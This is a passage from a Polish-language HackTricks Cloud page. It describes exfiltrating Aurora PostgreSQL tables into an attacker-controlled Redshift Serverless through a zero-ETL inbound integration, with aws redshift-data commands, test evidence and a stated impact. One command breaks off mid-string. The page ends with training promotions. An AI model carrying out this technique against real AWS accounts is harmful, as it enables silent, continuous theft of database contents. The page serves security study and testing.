```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration 'Dowody zaobserwowane w teście:
- redshift describe-inbound-integrations: Status ACTIVE dla Integration arn:…377a462b-…
- SVV_INTEGRATION pokazał integration_id 377a462b-c42c-4f08-937b-77fe75d98211 oraz stan PendingDbConnectState przed utworzeniem DB.
- Po CREATE DATABASE FROM INTEGRATION, wylistowanie tabel ujawniło schemat ztl i tabelę customers; wykonanie SELECT na ztl.customers zwróciło 2 wiersze (Alice, Bob).
Wpływ: Ciągła, niemal w czasie rzeczywistym eksfiltracja wybranych tabel Aurora PostgreSQL do kontrolowanego przez atakującego Redshift Serverless, bez użycia poświadczeń bazy danych, kopii zapasowych ani dostępu sieciowego do klastra źródłowego.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

